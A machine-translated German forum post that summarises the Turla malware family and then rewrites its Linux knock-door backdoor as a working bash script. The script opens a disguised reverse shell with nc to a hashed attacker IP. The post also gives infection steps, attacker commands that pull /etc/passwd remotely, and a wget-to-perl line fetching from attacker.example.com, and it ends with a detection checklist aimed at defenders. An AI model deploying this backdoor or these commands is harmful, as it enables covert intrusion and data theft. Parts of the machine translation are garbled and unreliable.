TURLA ist die letzte Stufe einer großen und ausgeklügelten Familie von Malware. Windows-Versionen sind seit mindestens 2010 bekannt. Diese 40-seitige Präsentation ist für beide Plattformen die umfassendste Ressource, die ich je gesehen habe.
TURLA - Entwicklung &Betrieb
Einige Windows-Highlights
- Stadium 0:Angriffsstadium - Infektionsvektor
- Stufe 1:Aufklärungsstufe - anfängliche Hintertür
- Stadium 2:seitliche Bewegungen
- Stufe 3:Stufe „Zugriff hergestellt“ – TURLA bereitgestellt
- Auf jeder Stufe können sie aufhören, wenn sie das Interesse am Ziel verlieren
Stufe 0:Injektionsvektoren
-
Spear-Phishing (CVE-2013-3346)(CVE-2013-5065)
-
Watering Holes [Adobe Update Social Engineering/Java Exploits (CVE-2012-1723), Adobe Flash Exploits oder Internet Explorer 6,7,8 Exploits]
-
Kompromittierung durch Drittanbieter
Stufe 1:Aufklärungsphase
-
Anfängliche Hintertür - WipBot/Epic/TavDig
-
WipBot ist eine Kombination aus einem Zero-Day- und einem CVE-2013-3346-Exploit
-
Exportiert Funktionen mit denselben Namen wie TURLA. Keine weiteren Ähnlichkeiten
-
Unterbricht das Debugging und die meisten Malware-Sandboxes
-
Hopfen mehrfach verarbeiten, eigene PE-Sektion löschen
-
Weitere Beschreibung im Bericht von Kaspersky Lab
Stufe 2:Seitliche Bewegungen
-
C&C verfeinern
-
Netzwerk weiter durchdringen
-
Neue Hintertür verwenden
-
Ruft Domänenadministrator-Anmeldeinformationen ab
Etappe 3:Turla
-
Auf ausgewählten Computern für langfristige Kompromittierung abgelegt
-
Maschinen können jahrelang unbemerkt kompromittiert werden
Andere Ressourcen
-
Der 'Penguin Turla' - Kaspersky Lab (Linux-spezifische Details)
-
Symantec-Bericht – Turla
Linux-Highlights
-
Turla-Modul geschrieben in C/C++
-
Basierend auf cd00r
-
Ausführbare Datei ist statisch mit mehreren Bibliotheken verknüpft
-
Seine Funktionalität umfasst versteckte Netzwerkkommunikation, beliebige Fernbefehlsausführung und Fernverwaltung
-
Ein Großteil des Codes basiert auf öffentlichen Quellen
-
Kann nicht mit netstat
erkannt werden -
nicht erfordern Root-Zugriff
Eigenschaften der ausführbaren Linux-Datei
- ELF 32-Bit-LSB-Programmdatei, Intel 80386, Version 1 (SYSV), statisch verknüpft, für GNU/Linux 2.2.5, entfernt
Statisch verknüpfte Linux-Bibliotheken
-
glibc2.3.2 - die GNU-C-Bibliothek
-
openssl v0.9.6 - eine ältere OpenSSL-Bibliothek
-
libpcap - Netzwerkerfassungsbibliothek von tcpdump
Linux C&C-Details
-
C&C der ersten Stufe ist fest codiert. Bekannte Aktivität @ news-bbc.podzone[.]org
-
pDNS-IP:80.248.65.183
Linux-Start-/Ausführungsdetails
-
Für den Prozess sind zwei Parameter erforderlich:ID (ein numerischer Wert, der als Teil des „magischen Pakets zur Authentifizierung“ verwendet wird) und ein vorhandener Netzwerkschnittstellenname
-
Die Parameter können auf zwei verschiedene Arten eingegeben werden:von STDIN oder von Dropper a beim Starten des Samples
-
Nachdem die ID und der Schnittstellenname eingegeben und der Prozess gestartet wurde, wird die Prozess-PID der Hintertür zurückgegeben
Linux Magic Packet
-
Verknüpft statisch PCAP-Bibliotheken
-
Ruft Raw-Socket ab, wendet Filter an, erfasst Pakete
-
Sucht nach einer ACK-Nummer im TCP-Header oder im zweiten Byte des UDP-Paketkörpers
-
Wenn die Bedingung erfüllt ist, springt die Ausführung zum Inhalt der Paketnutzdaten und erstellt einen regulären Socket
-
Backdoor verwendet einen neuen Socket, um sich mit der Quelladresse von Magic Packets zu verbinden
-
Backdoor meldet seine eigene PID und IP und wartet auf den Empfang von Befehlen
-
Eingehende Befehle werden mit einem "/bin/sh -c "-Skript
ausgeführt
Abschließende Anmerkungen
Alles bezüglich der Linux-Version stammt aus dem Kaspersky-Bericht. Leider scheint die Erkennung an dieser Stelle sehr schwierig zu sein.
"Obwohl Linux-Varianten des Turla-Frameworks bekannt waren, haben wir noch keine in freier Wildbahn gesehen." - Kaspersky Lab
Wie das funktioniert:
Kurze Einführung
Um einen Weg zu finden, sie zu erkennen, habe ich intensiv an Konzepten und Methoden gearbeitet.
Dafür habe ich schnell ein kleines Bash-Skript geschrieben, das ungefähr auf die gleiche Weise funktioniert.
Von dort aus und mit etwas zusätzlichem Wissen über Un*x-Konzepte poste ich meine Checkliste, die helfen könnte, diesen funktionierenden Trojaner in jedem System zu finden.
Bash hat Turla Knock-Door neu geschrieben
Um zu verstehen, wie das funktioniert, habe ich Folgendes geschrieben:
(Dies muss auf dem Zielhost ausgeführt werden, durch einen entfernten Exploit, Viren oder anderes.)
#!/bin/bash
myIpSum=${1:-1b673d1250747dd45696ff954aceed02}
myIpSalt=SaltMyIP # Making IpSum more difficult to retrieve
printf -v bport %04X ${2:-22} # port to watch for incoming ``knock''
printf -v rport %d ${3:-80} # port listen on attacker host
while true;do
while IFS=': ' read seq loci locp remi remp foo;do
[ -z "${seq//[0-9]}" ] &&
[ "$locp" == "$bport" ] &&
[ "$remp" != "0000" ] &&
myIpAdd=$[16#${remi:6:2}].$[16#${remi:4:2}] &&
myIpAdd+=.$[16#${remi:2:2}].$[16#${remi:0:2}] &&
chksum=($(md5sum <<<$myIpSalt$myIpAdd)) &&
[ "$chksum" == "$myIpSum" ] &&
nc -w 10 -c "/bin/bash ${4} 2>&1" $myIpAdd $rport
done < /proc/net/tcp
read -t .5 -n 1
[ "$REPLY" == "q" ] && exit 0
done
Dies ist nicht völlig nicht nachweisbar aber...
Funktionen
- Völlig unauffindbar mit
netstat
, während Sie auf die Verbindungen des Angreifers achten. - Verwenden Sie [In->Out] als [RANDOM->80] TCP-Ports, damit die Verbindung wie eine beliebige Surfen aussieht Verbindung.
- Warten Sie auf eine bestimmte IP (gehasht, also nicht lesbar) auf dem lokalen Port 22, ohne mit promiscuous -Modus, noch erfordert es root Privileg
- Sobald eine eingehende Verbindung von der spezifischen IP erkannt wurde (Knock! ), öffnet dies eine Verbindung zu dieser IP auf Port 80, um wie eine Surfverbindung auszusehen und biete eine bash an , zurück zu dieser Verbindung.
Hinweis: Echter Trojaner könnte SSL und echte HTTP-Header verwenden, um auch über Proxys zu arbeiten!!
Dies akzeptiert 4 Argumente:
$0 [myIpSum [KnockDoorPort [myPort [-i]]]]
myIpSUm
ist Hash von Salted Angreifer s IP. Könnte mitmd5sum <<<SaltMyIP192.168.1.31
gerendert werden (Salt könnte im Skript geändert werden).KnockDoorPort -> bport
ist ein bereits gebundener Port, der auf dem Zielhost verwendet wird (22 als Beispiel, wenn das Ziel SSH bedient, aber jeder geöffnete Port könnte verwendet werden)myPort -> rport
ist der Port des lokalen Angreifers, der für eingehende Verbindungen verwendet wird (80, um wie eine ausgehende HTTP-Verbindung auszusehen. Natürlich muss der Angreifer root auf seinem Host sein!)-i
Flag könnte verwendet werden, umbash
auszuführen interaktiv
Schritt der Infektion
-
Der erste Schritt besteht darin, dieses Skript mithilfe eines Remote-Exploits wie
shellshock
auszuführen oder irgendein Pufferüberlauf . -
Zweitens muss der Angreifer die IP des Ziels kennen, um
knock door
zu senden auf Port 22 -
Verwenden Sie von IP des Angreifers (als Root zum Abhören von TCP-Port 80), warten Sie auf die eingehende Verbindung des Ziels.
-
Du bist Logger in einer Granate am Ziel!
bash -c "nc -q 1 < <(sleep 1) $target 22 &>/dev/null & ";nc -l -p -w 3 -q 3 80 <<<"$remoteCommandLine with args"
Beispiel:
bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
';nc -l -w 5 -q 3 -p 80 <<<uptime
18:43:00 up 21 days, 6:19, 1 user, load average: 0.00, 0.01, 0.00
oder
bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
';nc -l -w 5 -q 3 -p 80 <<<'tar -zcC /etc passwd group 2>/dev/null' |\
tar -ztvf -
-rw-r--r-- root/root 1222 2011-11-19 10:00 passwd
-rw-r--r-- root/root 611 2011-11-19 10:00 group
Nicht so einfach zu erkennen
Solange das Skript auf dem Zielhost ausgeführt wird und keine Verbindung des Angreifers geöffnet ist, ist das ausgeführte Skript durch Verwendung von netcat
nicht sichtbar .
Knock
werden einmal auf Port 22 durchgeführt, wo viele Verbindungsfehler normal sind . Eine echte Shell-Verbindung sieht aus wie jede ausgehende http-Verbindung.
Antworten:
Wie werden Linux-Rechner infiziert
Dies ist ein Trojaner , also spielt diese Frage keine Rolle... (Beispiel siehe Shellshock)
Gibt es eine Privilegienausweitung, oder passiert das Ganze nur unter dem infizierten Benutzer (d. h. UID 1000)
Nein, eines der Ziele davon ist es, Angreifern zu ermöglichen, nach einer Möglichkeit zu suchen, Berechtigungsausweitung durchzuführen .
Wo "lebt" der Malware-Code auf dem infizierten Rechner
-
Überall und nirgendwo:Wenn Sie dies als Anhang ausführen, wissen Sie möglicherweise, wo Sie sie gespeichert haben. Wenn es von einem Remote-Exploit ausgeführt wird, könnten sie die Binärdatei löschen, sobald sie ausgeführt wurde.
-
Wenn Turla ist eine Binärdatei (in C geschrieben), die sie haben irgendwo in Ihrem Un*x-System gespeichert werden, wobei ausführbare Flags gesetzt sind, um ausgeführt zu werden. Neuere Dateisysteme erlauben es, sie nach dem Ausführen zu löschen, aber Inodes müssen unberührt bleiben!
Dies könnte bei der Suche nach Binärdateien aufgedeckt werden, die in Ihrem System ausgeführt werden, sich aber in StandardPATH
befinden . -
Wenn Trojaner ein Skript ist, muss nur die Binärdatei im Dateisystem gelinkt werden, damit das Skript gelöscht oder sogar als
STDIN
ausgeführt werden kann und überhaupt nicht gespeichert.
wget -qO - http://attacker.example.com/virus.pl | perl
-
sowie alle anderen interessanten Details
Bitte versuchen Sie es mit meinem Bash-Skript...
Checkliste (hinzugefügt:2015-02-04)
-
Suchen Sie nach fork pids (wobei Parent Pid ==1)
grep PPid:\\s1$ /proc/*/status
-
Suchen Sie nach Prozessen, die keine Binärdateien von
PATH
ausführenfor pid in $(ps axho pid);do readlink /proc/$pid/exe | sed 's/\/[^\/]*$//'| grep -q "^${PATH//:/$\|^}$" || printf "%10d %-16s %s\n" $pid "$( sed 's/Name:[\t ]*//;q' /proc/$pid/status )" "$( readlink /proc/$pid/exe )" done
-
Suche nach Prozess, der lange läuft
ps axho pid,etime,user,cmd
...
ps axho pid,etimes,user,cmd | grep -v '[0-9] root ' | sort -nk2
-
Skript:Suche nach Prozess, der eine Art Versteck macht:Vergleiche
exe
undcommand line
for pid in $( grep PPid:\\s1$ /proc/*/status | cut -d/ -f3 ) ;do printf "%10d %-40s %s\n" $pid "$( readlink /proc/$pid/exe)" "$(</proc/$pid/cmdline)" done
-
Mit
apparmor
, könnten Sie nach Prozessen suchen, die auf den TCP-Stapel zugreifen (und/oder udp-stack ). -
Mit
tcpdump
, gibt es eine starke Arbeit, aber eine effiziente Lösung:Achten Sie auf ausgehend Verbindungen, die irgendeine Art von Anfrage stellen, werden nicht unbedingt zu einer Antwort sofort danach, aber nächste Anfrage sofort senden nach Erhalt der ersten Antwort, dann kümmert sich nicht um die Antwort der letzten Anfrage:wird beendet, wenn
exit
empfangen wird Direktive, die so etwas wielogout.
sagt , die als letzte HTTP-Anforderung der aktuellen Sitzung gesteuert werden könnte , aber vor schließen Empfangen einer http-Antwort .Tatsächlich müssen Sie eine ausgehende Verbindung finden, bei der der Datenaustausch nicht dem regulären Schema der ausgehenden Verbindung entspricht, sondern einem hybriden Schema von Server-Start - eingehende Verbindung - Server-Stopp .
Diese müssen natürlich gefangen werden weil keine Verbindung dauerhaft geöffnet ist.
-
Statistiken zu Systemaufrufen erstellen (mit apparmor)
danke an alphanet für diese idee
Erstellen Sie Statistiken für jeden laufenden Prozess und
Senden Sie sie an ein Bayes'sches Tool, um reguläre Profile zu berechnen
Um benachrichtigt zu werden, wenn ein neuer Prozess nicht mit regulären Profilen übereinstimmt (oder sogar wenn sich ein laufender Prozess ändert).